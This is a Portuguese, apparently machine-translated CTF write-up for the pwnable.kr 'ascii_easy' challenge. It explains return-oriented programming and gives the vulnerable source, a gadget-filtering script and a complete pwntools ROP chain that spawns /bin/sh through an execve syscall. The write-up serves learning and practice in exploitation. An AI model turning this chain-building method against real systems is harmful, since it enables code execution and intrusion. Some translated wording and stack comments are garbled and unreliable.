Solução de problemas com pwnable.kr 26 - ascii_easy. Lidamos com gadgets ROP do zero de uma vez por todas

imagem

Neste artigo, resolveremos a 26ª tarefa do site pwnable.kr e entenderemos o que é ROP, como funciona, por que é tão perigoso e comporemos uma cadeia de ROP com lutadores complicadores adicionais.

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Solução de trabalho ascii_easy


Continuamos a segunda seção. Eu direi imediatamente que é mais difícil que o primeiro, mas desta vez eles nos fornecem o código fonte do programa. Não se esqueça da discussão aqui (https://t.me/RalfHackerPublicChat) e aqui (https://t.me/RalfHackerChannel). Vamos começar.

Clique no ícone da legenda ascii_easy. Nos é dado o endereço e a porta para conectar via ssh.

imagem

Estamos conectados via SSH e vemos a bandeira, programa, código fonte e biblioteca libc.

imagem

Vamos ver o código fonte.

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

Vamos dividir em blocos. O programa usa uma string como argumento.

imagem

Nesse caso, a sequência deve consistir apenas em caracteres ascii.

imagem

Uma área de memória com um endereço base conhecido e permissões de leitura, gravação e execução também é alocada. A biblioteca libc é colocada nesta área.

imagem

Além de tudo, o programa tem uma função vulnerável.

imagem

Além disso, se você verificar o programa, pode garantir que ele tenha uma pilha não executável (parâmetro NX). Vamos decidir compilando o ROP.

imagem

Vamos copiar a biblioteca para nós mesmos.

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

Agora você precisa montar a cadeia ROP. Para fazer isso, use a ferramenta ROP-gadget .

 ROPgadget --binary libc-2.15.so > gadgets.txt 

No arquivo gadgets.txt, temos todas as cadeias ROP possíveis (o exemplo 10 da primeira é apresentado abaixo).

imagem

O problema é que precisamos selecionar aqueles que consistem apenas em caracteres ASCII. Para fazer isso, escrevemos um filtro simples que deixará apenas esses endereços, cada byte pertencente ao intervalo de 0x20 a 0x7f, inclusive.

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

Execute o programa e obtenha uma lista de endereços de gadgets ROP que nos satisfazem.

Gadgets de corda


Muitos pediram mais detalhes sobre programação orientada a retorno. Ok, vamos dar um exemplo com ilustrações. Suponha que tenhamos uma vulnerabilidade de estouro de buffer e uma pilha não executável.

Um gadget ROP é uma coleção de instruções que termina com uma declaração de retorno ret. Como regra, os gadgets escolhem entre os finais das funções. Vamos dar algumas funções como exemplo. Em cada um deles, selecione o gadget ROP (destacado em vermelho).

imagem

imagem

imagem

Assim, temos várias cadeias ROP:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

Agora vamos descobrir que tipo de cadeias ROP bestiais são. Quando o buffer excede, podemos reescrever o endereço de retorno. Suponha que no momento em que a instrução ret seja executada na função de destino, ou seja, no topo da pilha haja algum endereço válido.

Por exemplo, queremos executar o seguinte código:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

Devemos reescrever o endereço de retorno válido com os seguintes endereços:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

Para entender por que isso funcionará, vamos olhar a imagem abaixo.

imagem

Assim, em vez de retornar a um endereço válido, passamos para o primeiro endereço da nossa cadeia ROP. Após executar o primeiro comando, a instrução ret moverá o programa para o próximo endereço na pilha, ou seja, para o segundo comando. O segundo comando também termina com ret, que também se move para o próximo comando, cujo endereço é indicado na pilha. Assim, alcançamos a execução do código que compilamos anteriormente.

Encadeamento ROP para ascii_easy


Primeiro, descobriremos quantos bytes precisamos para estourar o buffer. Execute o programa em gdb e alimente a linha até a entrada.

imagem

E o programa falha no endereço "bbbb", o que significa que o preenchimento tem 32 caracteres.

A maneira mais conveniente de usar o ROP é usar a função execve. A conveniência reside na passagem de parâmetros através de registros. Vamos encontrar esta função na biblioteca libc. Isso pode ser feito usando o GDB.

imagem

Mas se adicionarmos ao endereço da função o endereço de carregamento da biblioteca na memória, veremos que ele não satisfará a condição ascii.

imagem

Mas há outra opção para chamar a função. Isso é através de uma chamada do sistema. No Linux, cada chamada do sistema possui seu próprio número. Este número deve estar localizado no registro EAX, seguido por uma chamada de interrupção int 0x80. A tabela completa do siscall pode ser vista aqui .

imagem

Assim, a função execve tem o número 11, ou seja, o valor 0xb deve estar localizado no registro EAX. Os parâmetros são transferidos através dos registradores EBX - o endereço no início da linha de parâmetros, ECX - o endereço no ponteiro para a linha de parâmetros e EDX - o endereço no ponteiro para as variáveis ​​de ambiente do argumento.

imagem

Precisamos passar a string '/ bin / sh' para a função. Para fazer isso, precisaremos gravá-lo no local permitido para gravação e passar o endereço da string como parâmetro. A linha terá que salvar 4 caracteres, ou seja, '/ bin' e '// sh', pois os registros transmitem 4 bytes cada. Para isso, encontrei os seguintes gadgets:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

Este gadget:

  1. Pegue na pilha o endereço para escrever a string e coloque-a no registro edx, anula eax.
  2. Ele pega um valor da pilha e o coloca em edi.
  3. Ele copiará o valor de edi para o endereço em edx (gravará nossa linha no endereço desejado).
  4. Serão necessários mais dois valores da pilha.

Assim, para sua operação, os seguintes valores devem ser transferidos:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

Em seguida, você pode executar os mesmos gadgets para copiar a segunda parte da linha. Não será difícil encontrar o endereço para gravação, pois a biblioteca é carregada em uma área de memória acessível para leitura, gravação e execução.

imagem

Quaisquer endereços que satisfaçam a condição ascii podem ser obtidos lá. Peguei o endereço 0x55562023.

Agora precisamos terminar nossa linha com um caractere nulo. Para esta tarefa, eu uso a seguinte cadeia de gadgets:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

Este gadget:

  1. Pegue na pilha o endereço da entrada nula e coloque-a no registro edx, anule eax.
  2. Pegue o valor da pilha.
  3. Copie o valor de eax zerado para o endereço em edx.

Assim, para o seu funcionamento, é necessário transferir os seguintes valores:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

Assim, copiamos nossa string na memória. Em seguida, você precisa preencher os registros para transferir valores. Como o programa “/ bin / sh” chamado execve não terá seus próprios argumentos e variáveis ​​de ambiente, passaremos um ponteiro nulo para eles. No ebx, escrevemos o endereço na linha e no eax, escrevemos 11 - o número do execve siskol. Para isso, encontrei os seguintes gadgets:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

Este gadget:

  1. Coloca um valor da pilha no edx, anula o eax.
  2. Mova o valor da pilha para edi.
  3. Mova o valor da pilha para ecx, adicione a zero eax 10.
  4. Mova o valor da pilha para o ebx.
  5. Aumente o eax de 10 para 11.

Assim, para o seu funcionamento, é necessário transferir os seguintes valores:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

E encerramos nossa cadeia ROP com uma exceção.

 0x55667176 : inc esi ; int 0x80 

Abaixo está um registro geral mais abreviado e acima.

imagem

E o código que forma a carga útil.

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

imagem

imagem

Francamente, para mim, por algum motivo, foi uma das tarefas mais difíceis deste site ...

Mais e mais complicado ... Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

Source: https://habr.com/ru/post/pt479184/


All Articles